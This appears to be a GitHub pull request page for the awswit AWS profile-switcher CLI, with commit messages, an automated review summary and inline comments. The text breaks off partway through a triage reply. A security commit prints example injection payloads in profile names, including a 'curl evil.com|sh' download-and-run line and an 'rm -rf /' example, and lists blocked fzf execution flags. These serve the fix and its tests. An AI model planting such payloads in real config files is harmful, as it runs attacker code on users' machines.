Refactor CLI, add exec/pick/which/doctor/prompt subcommands#11
Open
atriumnook wants to merge 18 commits into
Open
Refactor CLI, add exec/pick/which/doctor/prompt subcommands#11atriumnook wants to merge 18 commits into
atriumnook wants to merge 18 commits into
Conversation
Refocus the surface area of awswit on the one job that matters — picking
a profile and setting AWS_PROFILE in the current shell — and remove
machinery that was either unused, redundant, or actively harmful to UX.
Net change: 20 files, +863 / -1370 lines.
## Stop managing variables we have no business managing
awswit now sets/unsets only the two variables the modern AWS SDK
actually reads first:
- AWS_PROFILE
- AWS_REGION
Removed: AWS_DEFAULT_PROFILE, AWS_DEFAULT_REGION (legacy alternates that
the SDK prefers the non-DEFAULT forms over) and AWSWIT_PROFILE
(awswit-private marker variable that duplicated AWS_PROFILE and did
nothing the SDK consumes).
## Replace the bespoke shell-IPC protocol with `eval $(awswit -s)`
The previous design wrote a mix of `KEY=VALUE` lines, status text, and
an `AWSWIT_UNSET=1` sentinel to stdout, then had bash/zsh/fish/powershell
each implement a ~40-line parser. Four shell-specific implementations
that had to be kept in sync with `MANAGED_VARS` in Rust.
Replace with the standard pattern:
awswit() { eval "$(command awswit --shell-export "$@")"; }
- `awswit --shell-export` emits only `export` / `set` / `unset` lines
on stdout — safe for `eval`.
- Status messages and warnings go to stderr.
- Each init script collapses to ~6 lines. The Rust↔shell sync
constraint is gone.
## Drop the awswit config file
`~/.awswit/config.toml` is no longer read. The three knobs it offered
are handled by industry-standard env vars or existing flags:
- `colors` → `NO_COLOR` (https://no-color.org)
- `fuzzy-match` → on by default; `AWSWIT_NO_FUZZY=1` to opt out
- `region` → `AWS_REGION` env var or `--region` flag
One less file for users to discover, manage, and debug.
## XDG paths + automatic migration
History moves from `~/.awswit/history.json` to
`$XDG_DATA_HOME/awswit/history.json` (default
`~/.local/share/awswit/history.json`). Existing files at the legacy
location are renamed on first run; users keep their frecency state.
The history file is now written with the user's umask. The previous
forced 0o600 was security theater for non-secret data (profile names,
timestamps, favorite flags) and conflicted with the project's stance
of "we don't deal in credentials".
## Make `awswit -l` actually composable
Previously: pretty ANSI-decorated table only, headers always present,
fixed 20-char truncation. Hostile to `awk` / `grep`.
Now:
- TSV (no headers, no decoration) when stdout is piped.
- Pretty table, full-width profile names, when stdout is a tty.
- `--json` to force structured output.
The integration test asserts each mode produces what's documented.
## Smoother frecency, less surprising fuzzy match
- Frecency uses continuous exponential decay (half-life 72 h) instead
of the previous four step buckets, so ranking changes smoothly
rather than jumping at the 1 h / 24 h / 168 h bucket edges.
- Fuzzy-match substitutions log a clear stderr warning with the
resolved name and the env var to opt out (`AWSWIT_NO_FUZZY=1`),
so production typos don't switch profiles silently.
## Warn inside aws-vault sessions
If `AWS_VAULT` is set when the user switches profile, awswit emits a
warning on stderr: changing AWS_PROFILE inside an aws-vault session
strands the session credentials in the environment.
## Cleanups
- Delete `src/tui/spinner.rs` (StatusLine — no longer used now that
status goes through eprintln!/tracing).
- Delete `src/config/awswit_config.rs` and the `AwswitConfig` module.
- Rename `--info` → `--verbose`, rename `-l --list-profiles` →
`-l --list`; rename `--show-commands` → `--shell-export` / `-s` to
match what it actually does.
## Migration
All users of 0.0.x should re-source their shell init after upgrade:
eval "$(awswit init bash)" # or zsh / fish / powershell
…UI polish
Self-review pass: targeted the remaining accidental complexity, fixed a
real correctness bug, and added the four subcommands that put awswit in
the same league as awsume / aws-vault as a daily driver — without
adopting their credential-management surface.
## Bug fix: TUI favorite toggle was getting silently overwritten
Before: picker saved history on each `*` press; main re-saved a stale
snapshot afterwards, reverting whatever the user just toggled.
After: picker returns a `PickerOutcome { selected, history }`; main is
the single save site, always writing the latest. Picker no longer
touches disk.
Toggling a favorite now also re-sorts the entries immediately and keeps
the cursor on the toggled profile, so the user gets visible feedback
that the action took effect.
## New subcommand: `awswit exec PROFILE -- CMD ARGS...`
Run a one-off command with `AWS_PROFILE` (and the profile's region) set
in the child only, without mutating the parent shell. Exit code is
propagated. The wrapper passes `exec` through directly so the command's
stdout isn't `eval`'d.
$ awswit exec staging -- aws s3 ls s3://bucket
## New subcommand: `awswit which`
Reports the currently active profile, with type / region / account /
role / source-chain / MFA / SSO start URL. Reads the AWS CLI's SSO
token cache (`~/.aws/sso/cache/*.json`) and surfaces expiry status
directly:
$ awswit which
AWS_PROFILE: prod
type: SSO
region: ap-northeast-1
sso_start: https://example.awsapps.com/start
sso_token: EXPIRED — run `aws sso login --profile prod`
## New subcommand: `awswit doctor`
Audits `~/.aws/config` and the SSO cache for the issues that bite users
in practice — missing `source_profile` chains, expired/absent SSO
tokens, malformed `mfa_serial`, role profiles with no credential
source. Exits non-zero when there's at least one error. CI-friendly.
## New subcommand: `awswit prompt`
One-line current-profile printer designed for shell-prompt embedding.
Format string accepts both `{}` and `%s`; configurable fallback when
no profile is set.
PS1='$(awswit prompt --format "[%s] " --default "")\u@\h \$ '
## Better error messages
`ProfileNotFound` now suggests up to three near-matches, ranked by
Levenshtein distance and filtered so noise candidates don't appear:
$ awswit -n dvv
awswit: [E001] Profile not found: dvv — did you mean: dev?
## TUI polish
- Readline-style line editing: `Ctrl-A`, `Ctrl-E`, `Ctrl-W` in the
search bar (was: only `Ctrl-U`).
- Empty-state hint instead of a blank panel when `~/.aws/config` is
empty.
- Preview pane wraps long ARNs / SSO start URLs and shows a relative
"last used" timestamp.
## Wrapper passthrough
`awswit init` now emits a wrapper that passes `exec` / `which` /
`doctor` / `prompt` / `init` / `completions` / `-l` / `-h` / `-v` /
`--help` / `--version` directly to the binary instead of capturing
stdout into `eval`. Only the actual switch path takes the
`--shell-export` route.
## Tests
- 11 new integration tests cover the new subcommands, the "did you
mean" hint path, exec exit-code propagation, prompt format
variants, and doctor's broken-source-profile detection.
- 96 unit + integration tests total, all green; cargo clippy
`-D warnings` clean; cargo fmt clean.
## Performance
Cold-start measurements on Linux/x86_64 release build:
- `awswit --version`: ~2 ms
- `awswit -l` (3 profiles): ~3 ms
- `awswit doctor`: ~3 ms
## Net change
14 files, +1,442 / -491 lines (+951). Bulk of the addition is the new
subcommand implementations and their tests, plus a thoroughly
documented `src/sso.rs` that reads only `startUrl`, `region`, and
`expiresAt` from the SSO cache — never the token itself.
Cover the rendering contract that's invisible to the existing unit tests for PickerApp state: - every profile appears in the list - the '<filtered>/<total>' indicator updates with the search query - the empty-profile-set hint and example block render when ~/.aws/config is empty - the help bar advertises every documented keybinding - the search bar echoes the typed query - a favorited entry shows the star glyph after toggling - the preview pane renders alongside the list when the terminal is wide - tiny terminals don't panic in the layout
…ory) Five small but compounding issues found in a focused Rust code review: 1. **Terminal stuck in raw mode if the picker panics** (src/tui/picker.rs). `run()` called `enable_raw_mode`, then `run_inner` which caught panics, restored the alt-screen, and `resume_unwind`'d. That re-raised panic propagated past the cleanup line in `run()`, leaving raw mode on. Replace the manual cleanup with an RAII guard so a panic in ratatui (degenerate `Rect`, layout math on tiny terminals) can't wedge the user's terminal. 2. **`name.len()` (bytes) used as a char-distance threshold** (src/main.rs::profile_not_found_with_hint). `strsim::levenshtein` counts chars, so for non-ASCII names like "プロ" (byte len 6 / 2 chars) the threshold was 3 — accepting noise suggestions. Switch to `chars().count()` on both sides. 3. **`exec_command` re-loaded history from disk, dropped save errors, and recorded use only *after* the child exited** (src/main.rs). Three small mistakes compounding: ignored `ctx.history` and re-read from disk, `let _ = save_history(..)` swallowed errors (every other site logs), and a long-running or killed command never bumped frecency. Record-and-save before spawn, reuse the in-memory history, and log save errors via tracing — matching the other call sites. 4. **`picker.run()` `io::Error` flattened into `ShellError` lost kind/source** (src/main.rs). `AwswitError` already has `From<io::Error>` (the `?` on `emit_export` uses it); use it directly so users can tell "no /dev/tty" from "shell init failed". 5. **`save_history` could leak stale `*.tmp` and lose data on crash** (src/history/storage.rs). PID-named temp files orphaned across crashes never got cleaned up, and `fs::write` didn't fsync before rename so a power loss mid-write could leave a zero-byte history after rename. Sweep stale temps on entry, use `File::create` + `write_all` + `sync_all` before `rename`.
The init snippet now defines a shell-native completer that calls back
into 'awswit -l' to populate profile-name suggestions, so users get
real-time tab completion that reflects the current ~/.aws/config
without any caching or manual refresh.
bash – complete -F _awswit_complete (compgen -W)
zsh – compdef _awswit (_alternative / compadd)
fish – complete -c awswit -a '(__awswit_profiles)' on subcommand
position and after 'exec'
powershell – Register-ArgumentCompleter -Native
Hand-verified in bash that:
awswit <TAB> → subcommands + all profile names
awswit pro<TAB> → 'prompt prod' (subcommand + profile match)
awswit exec <TAB> → profile names only
awswit exec d<TAB> → 'default dev'
1. **`-n` no longer silently switches to `default`** when both $AWS_PROFILE and the PROFILE argument are absent. Returns an error instead so a CI step with an unexpectedly-empty environment can't run against the default (often admin) account. (src/main.rs::resolve_target_profile.) 2. **`awswit which` exits 1** when $AWS_PROFILE points at a profile that does not exist in ~/.aws/config. CI / precmd guards using `awswit which` for health-checks now get an actionable signal. The "AWS_PROFILE unset" path still exits 0 (that's a valid state). 3. **`awswit exec PROFILE CMD …` works without `--`** in the common case where CMD has no leading flags. Replaces clap's `last = true` (which forced the separator) with `trailing_var_arg = true, allow_hyphen_values = true`. `--` still works and is still recommended when CMD starts with `-`. 4. **Non-interactive paths no longer auto-fuzzy-match.** Previously `-n prd` would silently switch you to `prod` with a stderr note — fine interactively, dangerous in scripts. Now in `-n` and `exec` modes the binary errors out with a "did you mean…?" suggestion and a non-zero exit; interactive bare-arg invocation still auto-corrects for convenience. 5. **`prompt --help` clarifies the no-trailing-newline contract** — the previous text didn't mention that running it interactively appears to do nothing (the next prompt overdraws it). New help tells the user to run `awswit prompt; echo` to inspect it. 6. **`doctor` plurals + actionable role-profile hint.** Replaces `0 error(s), 2 warning(s)` with integer-aware `0 errors, 2 warnings`, and the "role profile has neither source_profile nor credential_source" warning now tells the user what to add: `source_profile = main` or `credential_source = Environment|Ec2InstanceMetadata|EcsContainer`. 6 new integration tests cover the new behaviors.
Opens the picker (TUI or fzf), prints only the selected profile name to
stdout, exits 130 on cancel. Designed for shell substitution — no
status chatter on stdout, no parent-shell mutation:
aws --profile "$(awswit pick)" sts get-caller-identity
awswit exec "$(awswit pick)" -- aws s3 ls
aws sso login --profile "$(awswit pick)"
Records the use in history so 'pick' interactions contribute to
frecency on equal footing with the in-shell switch path.
Wrapper passthrough updated in all four init scripts so 'pick' isn't
fed through --shell-export by accident. The bash/zsh/fish/powershell
completion lists include 'pick' alongside the other subcommands.
Two production-SRE findings: 1. **Always clear AWS_DEFAULT_PROFILE / AWS_DEFAULT_REGION on every switch and on `awswit -u`.** The AWS SDK falls back to the legacy AWS_DEFAULT_* variables when the modern ones are unset, so a trailing AWS_DEFAULT_PROFILE from a CI image, corporate dotfile, or earlier `aws configure` could silently route requests to the previous account after `awswit prod` or even after `awswit -u`. The `exec` path already cleared them; the shell-switch path didn't. Symmetry restored. We still never *set* AWS_DEFAULT_*. Modern AWS SDKs prefer the non-DEFAULT form, and introducing new variables onto the user's environment is out of scope; we just don't leave a stale fallback pointing at the wrong account. Updated MANAGED_VARS doc-comment, every export() call site, and the shell-export integration test to assert both the new unset lines and the absence of any export AWS_DEFAULT_*. 2. **Age-gate the save_history temp-file sweep so it can't race a concurrent awswit.** The previous sweep ran every invocation and deleted *every* matching `history.json.<pid>.tmp` sibling — fine when no one else is running, but with parallel xargs / TUI-and-CI overlap the sweep would delete the other process's in-flight tmp, turning its rename into ENOENT. Now only files older than one hour are swept, so two concurrent saves with distinct PIDs never collide even under stress. Crash-orphaned tmps are still reaped on the next invocation an hour later.
… awswit
Replaces the configparser crate (whole-file failure on any single
malformed line) with a hand-rolled tolerant parser specifically targeted
at AWS config syntax (section headers, key=value, ; / # comments).
The previous configparser-based path returned [E002 Failed to parse …]
on a single bad line anywhere in ~/.aws/config — and since the bash/zsh
shell wrapper calls 'awswit -l' on every tab-completion, a stray
'[profile bad' header from any other AWS tooling (aws configure sso,
granted, terraform helpers) silently killed tab-completion across the
whole team's shells.
New behaviour:
- Sections with malformed headers ('[profile bad' missing ']', empty
'[]') are skipped with a tracing::warn! and parsing continues.
- key=value lines outside any section are reported and dropped.
- Comment markers ('#', ';') at the start of a line or after whitespace
are stripped.
- Unknown sections (sso-session, services, etc.) are ignored gracefully
rather than masquerading as profiles.
Five new unit tests cover the new tolerance contract:
- malformed section header is skipped, surrounding profiles survive
- line comments and inline comments are stripped
- sso-session sections are ignored
- empty section headers are skipped
- well-formed configs continue to parse unchanged
Drops the configparser dependency. The new parser is ~50 LOC, exactly
fits the AWS config dialect, and removes one third-party surface.
Two operability findings from the SRE review:
**1. `awswit -l --names-only` for tab-completion.**
Tab-completion runs `command awswit -l` on every keystroke. The old
path went through AppContext::build, which reads ~/.aws/credentials,
~/.aws/sso/cache/*.json, and the history file — measurable lag on
NFS-mounted $HOME and large SSO caches. The new --names-only path:
- only reads ~/.aws/config (one syscall),
- only collects section headers (no key parsing),
- skips history and SSO cache entirely.
All four init scripts (bash / zsh / fish / powershell) now use
`awswit -l --names-only` for their completion functions.
**2. `AWSWIT_SSO_CACHE_DIR` env override.**
CI images and containers routinely mount /aws-config and put the SSO
token cache somewhere other than ~/.aws/sso/cache. The reviewer's
finding: `AWS_CONFIG_FILE` was honored but `doctor` / `which` would
always miss the SSO token in those setups. Resolution order is now:
1. $AWSWIT_SSO_CACHE_DIR (explicit override)
2. ${AWS_CONFIG_FILE%/config}/sso/cache (auto-detected when the
containerized config is self-contained)
3. ~/.aws/sso/cache (default)
Documented in README under Environment variables.
…xed help
Five docs/DX findings addressed:
1. **`--names-only` and `awswit pick` documented in CLI reference and
scripting examples.** Adds the flag to the Top-level flags table and
the pick subcommand. Reworks the pick scripting example to guard
against cancel (exit 130) so users don't accidentally run
`aws --profile ""`.
2. **CHANGELOG v0.1.0 entry updated to match what actually shipped.**
Adds bullets for `pick`, `--names-only`, `AWSWIT_SSO_CACHE_DIR`,
the tolerant INI parser, the AWS_DEFAULT_* active-unset behaviour,
the picker raw-mode guard, the durable save_history, the
non-interactive fuzzy refusal, and the doctor message polish.
Strengthens the breaking-changes wording from "no longer set" to
the more accurate "now actively unset on every switch".
3. **Comparison table corrected.** aws-vault's interactive-pick claim
downgraded to "— (list only)" — `aws-vault list` is read-only.
awsume's "fuzzy matching" claim upgraded to ✅ (built-in) since
modern awsume has fuzzy matching out of the box. Drops the
cold-start microbenchmark row — it had no methodology and was
unfair to competitors.
4. **"What awswit does, exactly" section updated** to show the actual
four-line export+unset block, with an explanation of why we
actively unset AWS_DEFAULT_*. The previous wording implied two
exports total; the safety commit added two unsets.
5. **`init` / `exec` / `pick` help text now has one example per
line.** Clap collapses doc-comment lines into paragraphs by
default; switched to `{n}` to force newlines so multi-line
example blocks render as a list instead of one run-on line.
No behaviour changes — docs and help text only.
**CRITICAL** — bash tab-completion executed $(…) embedded in hostile
profile names.
A teammate's IaC tool, compromised dotfile syncer, or any other process
that writes to ~/.aws/config could embed a payload as a section header:
[profile $(curl evil.com|sh)]
The completion function in src/init/bash.sh did:
profiles=$(command awswit -l --names-only 2>/dev/null)
COMPREPLY=( $(compgen -W "${subs} ${profiles}" -- "${cur}") )
bash's `compgen -W <wordlist>` runs word-splitting + expansion on its
argument, including command substitution. So pressing TAB after typing
`awswit ` executed the payload — every keystroke that re-triggered
completion re-executed it. Reproduced and confirmed by the security
reviewer; before fix, hostile profile created /tmp/awswit-pwn during
tab-completion.
Defense in depth, both layers applied:
1. **Source filter (src/config/aws_files.rs).** `fast_profile_names`
now drops any name containing a character outside
`[A-Za-z0-9._/@+=-]` with a `tracing::warn!`. Realistic AWS
profile names ("prod-us-east-1", "aws@sso", "alpha+beta") still
pass; `$(...)`, backticks, `;`, `|`, whitespace, control chars,
etc. don't.
2. **Bash completion quoting (src/init/bash.sh).** The completer now
reads names into a bash array via `while read` and quotes each via
`printf %q` before handing them to compgen. Even if a future
change to the source filter is too permissive, compgen never sees
an un-quoted shell metacharacter.
End-to-end re-tested with hostile `[profile $(touch /tmp/x)]` and
`[profile `id`]` — both blocked, no file written.
**LOW** — `BLOCKED_FZF_OPTIONS` missed fzf 0.41+ RPC flags.
fzf 0.41 added `--listen` / `--listen-unsafe` (HTTP RPC server that
accepts `execute(cmd)` POSTs) and `--with-shell`, none of which our
`AWSWIT_FZF_OPTS` allow-list noticed. They give the same arbitrary
command-execution power as the already-blocked `--bind` / `--execute` —
just via a different surface. Added to the blocklist; tests updated.
Other audited surfaces verified clean by the reviewer: POSIX/PowerShell
quoting (round-trips $(whoami) / `id` / it's correctly under eval),
newline/CR rejection, exec environment handling, atomic history writes,
SSO cache reads (never reads tokens into memory), tracing sinks
(stderr-only, never disk), and `awswit prompt` in PS1 (modern bash
doesn't recursively command-sub PS1 $(…) results).
Extends `awswit doctor` with three additional checks that catch real
production breakage classes:
1. **source_profile chain cycles** (Error). A profile that role-chains
back to itself (a → b → a) makes the AWS SDK loop forever resolving
credentials. The new `find_source_profile_cycle` walks the chain
with a HashSet visited-set and reports the path:
ERROR [loop-a] source_profile chain forms a cycle: loop-a -> loop-b -> loop-a
— the AWS SDK will loop forever resolving credentials
2. **Region format sanity check** (Warning). Catches the common typos
`us-east-1a` (AZ pasted as region), `useast1` (no hyphens), and
`eu-west` (missing trailing digit) without baking in the AWS region
list. Heuristic: at least three hyphen-separated tokens, last token
purely digits, others lowercase alphanumeric. Permissive enough to
admit every gov/cn/isob region AWS has shipped.
3. **Shell-unsafe profile names** (Error). Mirrors the filter that
`fast_profile_names` already applies — surfaces names like
`[profile $(rm -rf /)]` (an unrendered template variable or hostile
write by another tool) in the doctor report so users understand why
tab-completion is silently skipping them. Same character set as
the source filter (alphanumeric + - _ . / @ + =).
Two new integration tests cover cycle detection and region warnings.
The pre-existing missing-source-profile test continues to pass.
Five cross-platform-reviewer findings addressed in one pass:
1. **`data_dir()` now uses `%LOCALAPPDATA%\awswit\` on Windows.**
Previously the default fallback produced `C:\Users\<u>\.local\
share\awswit\` — a Unix layout in a Windows user profile, which
fights AV exclusion lists and gets roamed by some corporate
policies. `` continues to take precedence on every
platform so container/CI overrides still work.
2. **PowerShell completion: literal matching + CRLF trim.**
The old `-like $wordToComplete*` treated profile names containing
PowerShell wildcards (`*`, `?`, `[`, `]`) as patterns —
`prod*qa` matched everything starting with `prod` and
`prod[1]` matched nothing. Switched to
`StartsWith([StringComparison]::OrdinalIgnoreCase)`. Captured
names are now also `.TrimEnd("\`r")`'d so a CRLF-translating
stdout (msys, cmd-style redirect) doesn't leave stray \r on every
completion candidate.
3. **TUI mouse-capture drop guard.** Mirrors the
raw_mode guard from the Rust-review pass. A panic between
`EnterAlternateScreen + EnableMouseCapture` and the explicit
cleanup would otherwise leave Windows Terminal / conhost
eating selection clicks and stuck on the alt-screen. RAII guard
now runs `LeaveAlternateScreen + DisableMouseCapture` on every
exit path including unwind.
4. **`AWS_CONFIG_FILE` honors `~` in `sso_cache_dir()`.** Users
(and Docker mounts) commonly set
`AWS_CONFIG_FILE=~/.aws/config`. `Path::new("~/.aws/config")
.parent()` returns `Some("~/.aws")` which `is_dir()` rejects,
silently dropping the auto-detect. Run `shellexpand::tilde` first
so the parent derivation works on every platform.
5. **Cargo-dist targets: add aarch64-pc-windows-msvc and
x86_64-unknown-linux-musl.** Windows-on-ARM (Surface Pro X,
Snapdragon X laptops) now gets a native binary instead of falling
back to x64 emulation; `-linux-musl` makes the binary load in
Alpine and scratch-based CI containers where glibc isn't around.
…used
Two enhancements driven by CI / automation use cases:
1. **`awswit doctor --json`** emits the diagnostic set as JSON so CI
pipelines, dashboards, and machine consumers can act on it without
parsing the human-readable format. Schema:
{
"profiles_checked": 12,
"errors": 1,
"warnings": 2,
"diagnostics": [
{ "level": "error", "profile": "foo", "message": "…" },
…
]
}
Exit code matches the human path (1 if any errors, 0 otherwise).
2. **`awswit -l --json`** now includes `favorite`, `use_count`, and
`last_used` (RFC 3339, or null) per profile. The fields surface
data the TUI already uses for ranking, so scripts can reproduce
the same ordering or build their own dashboards:
jq '.[] | select(.favorite or .use_count > 10)'
The non-JSON `-l` path is unchanged.
Doctor variant in `Command` enum is now `Doctor { json: bool }`; the
parse-tests cover both `awswit doctor` and `awswit doctor --json`.
Final docs sync — the v0.1.0 CHANGELOG entry now reflects: - doctor's new checks (cycles, region typos, shell-unsafe names) - doctor --json - list --json includes favorite/use_count/last_used - the critical bash-completion injection fix - fzf RPC blocklist additions - Windows path defaults, PowerShell completion fixes, new build targets, mouse-capture guard, AWS_CONFIG_FILE tilde expansion No code changes.
The integration suite failed on `Test (windows-latest, stable)` because
three tests hardcoded Unix-only commands:
- `/usr/bin/env` to print the spawned environment
- `sh -c 'exit 42'` to verify exit-code propagation
Windows runners don't have `/usr/bin/env` or POSIX `sh` on PATH, so
`exec_command` returned ENOENT and the assertions tripped.
Resolution: keep the Unix-flavored tests under `#[cfg(unix)]` so they
continue to exercise real `/usr/bin/env` / `sh` behaviour where it's
available, and add portable companions that invoke the awswit binary
itself as the spawned command:
- exec_sets_aws_profile_via_self_invocation runs
`awswit exec dev -- awswit which` and asserts
`AWS_PROFILE: dev` in the output.
- exec_propagates_exit_code_portable runs
`awswit exec default -- awswit -n nonexistent-profile` which is
guaranteed to exit 1 on every platform.
- exec_works_without_dashdash_separator_portable mirrors the bare
`exec PROFILE CMD …` test using the same self-invocation pattern.
Local test count grows from 29 to 32 integration tests; all pass on
this Linux runner, and the new ones use only CARGO_BIN_EXE_awswit so
they'll also pass on macOS and Windows CI.
There was a problem hiding this comment.
Pull request overview
This PR refactors awswit’s CLI to support new scripting/diagnostic subcommands (exec, pick, which, doctor, prompt), updates the history/frecency model to continuous exponential decay, and hardens shell integration/completion while removing the old ~/.awswit/config.toml config layer.
Changes:
- Reworked CLI entrypoint and shell-export protocol; added multiple new subcommands and flags (
--shell-export,--names-only,--json,--no-interactive, etc.). - Replaced bucketed frecency with exponential decay and refactored picker/history flow to persist favorite toggles correctly.
- Added SSO cache inspection (
src/sso.rs), XDG/Windows data-dir resolution and legacy history migration, and a tolerant AWS INI parser.
Reviewed changes
Copilot reviewed 26 out of 27 changed files in this pull request and generated 10 comments.
Show a summary per file
| File | Description |
|---|---|
| tests/integration_basic.rs | Expands end-to-end CLI coverage for list/export/exec/which/doctor/prompt behaviors. |
| tests/frecency.rs | Updates frecency tests to assert properties of continuous decay rather than bucket boundaries. |
| src/utils/paths.rs | Adds XDG-/Windows-aware data dir resolution plus legacy migration helper. |
| src/utils/fuzzy.rs | Refines fuzzy matching and adds ranked “nearest N” suggestions for error messaging. |
| src/tui/spinner.rs | Removes the old StatusLine spinner/status helper. |
| src/tui/preview.rs | Enhances preview pane (wrapping, SSO start URL, last-used display) and adds human_age. |
| src/tui/picker.rs | Refactors picker to return PickerOutcome (selection + updated history) and adds RAII terminal guards and render tests. |
| src/tui/mod.rs | Removes re-exports tied to deleted spinner/preview public API surface. |
| src/tui/fzf.rs | Expands blocked fzf options to cover RPC/listen-related flags and other execution surfaces. |
| src/sso.rs | New module to read AWS CLI SSO token cache and expose expiry info for which/doctor. |
| src/shell/export.rs | Reworks shell export/unset generation; clears legacy AWS_DEFAULT_* and adds PowerShell quoting. |
| src/main.rs | Major CLI restructure: new subcommands, list output modes (TSV/JSON/names-only), doctor/which logic, and exec spawning. |
| src/lib.rs | Exposes the new sso module publicly. |
| src/init/zsh.sh | Simplifies wrapper to passthrough subcommands and add dynamic completion via -l --names-only. |
| src/init/powershell.ps1 | Updates wrapper + argument completer to use dynamic profile list and safer matching. |
| src/init/fish.fish | Simplifies wrapper and adds dynamic completions. |
| src/init/bash.sh | Simplifies wrapper and adds dynamic completions with quoting defense-in-depth. |
| src/history/storage.rs | Implements exponential frecency and refactors atomic-ish history persistence + temp cleanup. |
| src/context.rs | Removes awswit-specific config loading and simplifies startup context. |
| src/config/mod.rs | Drops AwswitConfig export and keeps AwsFiles. |
| src/config/awswit_config.rs | Removes the old ~/.awswit/config.toml config model. |
| src/config/aws_files.rs | Replaces configparser with a tolerant INI reader and adds fast_profile_names for completion. |
| src/cli/args.rs | Adds new subcommands/flags and updates help text to match new CLI. |
| README.md | Updates installation, usage, env var docs, scripting examples, and feature descriptions. |
| CHANGELOG.md | Adds v0.1.0 release notes describing new CLI, behavior changes, and migrations. |
| Cargo.toml | Bumps version to 0.1.0, updates dist targets, removes configparser dependency. |
| Cargo.lock | Locks dependency changes for the new version and removed configparser. |
Comments suppressed due to low confidence (1)
tests/integration_basic.rs:353
- This test also hard-codes
/usr/bin/env, which is not portable to Windows. Consider usingenvvia PATH, an OS-conditional command, orawswit whichunderexecto assert the environment instead.
.unwrap();
assert_eq!(
output.status.code(),
Some(1),
"which should signal mis-config in CI / precmd guards"
);
let stdout = String::from_utf8_lossy(&output.stdout);
assert!(stdout.contains("warning"));
}
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| "name": n, | ||
| "type": classify(p), | ||
| "source": p.source_profile.as_deref().or(p.credential_source.as_deref()), | ||
| "region": p.region, |
Comment on lines
+710
to
+711
| "profile": d.profile, | ||
| "message": d.message, |
Comment on lines
3
to
+14
| awswit() { | ||
| local output | ||
| local exit_code | ||
| case "$1" in | ||
| exec|pick|which|doctor|init|completions|prompt|help|-h|--help|-v|--version|-l|--list) | ||
| command awswit "$@" | ||
| return | ||
| ;; | ||
| esac | ||
| local _out _rc | ||
| _out=$(command awswit --shell-export "$@") | ||
| _rc=$? | ||
| [ $_rc -eq 0 ] && [ -n "$_out" ] && eval "$_out" | ||
| return $_rc |
Comment on lines
3
to
+14
| awswit() { | ||
| local output | ||
| local exit_code | ||
| case "$1" in | ||
| exec|pick|which|doctor|init|completions|prompt|help|-h|--help|-v|--version|-l|--list) | ||
| command awswit "$@" | ||
| return | ||
| ;; | ||
| esac | ||
| local _out _rc | ||
| _out=$(command awswit --shell-export "$@") | ||
| _rc=$? | ||
| [ $_rc -eq 0 ] && [ -n "$_out" ] && eval "$_out" | ||
| return $_rc |
Comment on lines
+3
to
+14
| function awswit | ||
| switch $argv[1] | ||
| case exec pick which doctor init completions prompt help -h --help -v --version -l --list | ||
| command awswit $argv | ||
| return | ||
| end | ||
|
|
||
| for line in $output | ||
| set -l parts (string split -m1 '=' $line) | ||
| set -l key $parts[1] | ||
| set -l value $parts[2] | ||
|
|
||
| switch $key | ||
| case AWS_PROFILE AWS_DEFAULT_PROFILE AWS_REGION AWS_DEFAULT_REGION AWSWIT_PROFILE | ||
| if test -n "$value" | ||
| set -gx $key $value | ||
| else | ||
| set -e $key | ||
| end | ||
| case AWSWIT_UNSET | ||
| set -e AWS_PROFILE | ||
| set -e AWS_DEFAULT_PROFILE | ||
| set -e AWS_REGION | ||
| set -e AWS_DEFAULT_REGION | ||
| set -e AWSWIT_PROFILE | ||
| case '*' | ||
| if test -n "$key" | ||
| echo $line | ||
| end | ||
| end | ||
| set -l _out (command awswit --shell-export $argv) | ||
| set -l _rc $status | ||
| if test $_rc -eq 0; and test -n "$_out" | ||
| echo $_out | source | ||
| end | ||
| return $_rc |
Comment on lines
+9
to
+25
| $binary = (Get-Command awswit -CommandType Application).Source | ||
| if ($Arguments.Count -ge 1) { | ||
| switch -Regex ($Arguments[0]) { | ||
| '^(exec|pick|which|doctor|init|completions|prompt|help|-h|--help|-v|--version|-l|--list)$' { | ||
| & $binary @Arguments | ||
| return | ||
| } | ||
| } | ||
| } | ||
|
|
||
| if ($exitCode -ne 0) { | ||
| Write-Error $output | ||
| $global:LASTEXITCODE = $exitCode | ||
| return | ||
| $out = & $binary --shell-export @Arguments | ||
| $rc = $LASTEXITCODE | ||
| if ($rc -eq 0 -and $out) { | ||
| Invoke-Expression ($out -join "`n") | ||
| } | ||
| $global:LASTEXITCODE = $rc | ||
| } |
Comment on lines
+243
to
+252
| #[cfg(unix)] | ||
| #[test] | ||
| fn exec_runs_command_with_profile_env() { | ||
| let home = setup_aws_home(); | ||
| // /usr/bin/env is Unix-only; the Windows test below covers the same | ||
| // behavior via the awswit binary itself. | ||
| let output = awswit_command(&home) | ||
| .args(["exec", "dev", "--", "/usr/bin/env"]) | ||
| .output() | ||
| .unwrap(); |
Comment on lines
259
to
+266
|
|
||
| #[test] | ||
| fn unset_outputs_unset_marker() { | ||
| fn exec_sets_aws_profile_via_self_invocation() { | ||
| // Portable variant: exec the awswit binary itself with `which`, which | ||
| // reads $AWS_PROFILE from the environment and echoes it. Works on | ||
| // every platform we ship for. | ||
| let home = setup_aws_home(); | ||
| let output = awswit_command(&home) |
Comment on lines
+355
to
+362
| fn no_interactive_without_profile_or_env_errors() { | ||
| let home = setup_aws_home(); | ||
| let output = awswit_command(&home).arg("-n").output().unwrap(); | ||
| assert_eq!(output.status.code(), Some(1)); | ||
| let stderr = String::from_utf8_lossy(&output.stderr); | ||
| assert!( | ||
| stderr.contains("no-interactive") || stderr.contains("PROFILE"), | ||
| "expected a usage error, got: {}", |
Comment on lines
+139
to
146
| let mut f = fs::File::create(&tmp)?; | ||
| f.write_all(body.as_bytes())?; | ||
| f.sync_all()?; | ||
| } | ||
|
|
||
| if let Err(e) = fs::rename(&tmp_path, &path) { | ||
| if let Err(cleanup_err) = fs::remove_file(&tmp_path) { | ||
| tracing::warn!( | ||
| "Failed to clean up temp file {:?}: {}", | ||
| tmp_path, | ||
| cleanup_err | ||
| ); | ||
| } | ||
| if let Err(e) = fs::rename(&tmp, &path) { | ||
| let _ = fs::remove_file(&tmp); | ||
| return Err(e.into()); | ||
| } |
Triaged 10 review comments:
**False positives** (rejected, code already correct):
- src/main.rs:306 + :711 — Copilot claimed `p.region` / `d.message` won't compile out of a borrow. `serde_json::json!` accepts `Serialize` references, so Option<String> through `&Profile` / `&Diagnostic` serializes by reference. `cargo check` is clean.
**Real bugs fixed**:
1. **Wrapper passthrough only inspected `$1`.** All four shell wrappers
